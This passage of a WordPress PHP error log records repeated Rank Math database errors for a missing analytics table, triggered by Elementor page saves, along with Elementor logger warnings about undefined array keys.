RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 19:02:40 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1333 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:25:20 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1335 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:25:20 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1335 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:25:20 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1335 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:27:01 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1335 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:27:02 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1335 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:29:40 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1335 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:29:41 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1335 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:32:36 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1335 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:32:37 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1335 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:43:53 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1335 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:43:53 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1335 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:51:06 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 19:51:06 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1341 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:51:06 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 19:51:07 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1342 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:51:07 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 19:51:07 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1343 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 20:14:41 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1344 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 20:14:41 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1344 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 20:14:42 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1344 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 20:18:18 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:18:18 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:18:31 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:18:31 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:18:41 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:18:41 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:19:02 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:19:02 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:19:16 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:19:16 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:19:31 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:19:31 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:19:47 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:19:47 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:20:07 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:20:07 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:20:25 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:20:25 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:21:03 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:21:03 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:21:24 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 20:21:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1345 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 20:21:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 20:21:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1346 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 20:21:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 20:21:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1347 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 20:29:57 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:29:57 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:30:24 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:30:24 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:30:59 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:30:59 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:31:20 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:31:20 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:31:29 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:31:29 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:31:58 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:31:58 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:32:06 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:32:06 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:32:20 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:32:20 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:33:12 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 20:33:12 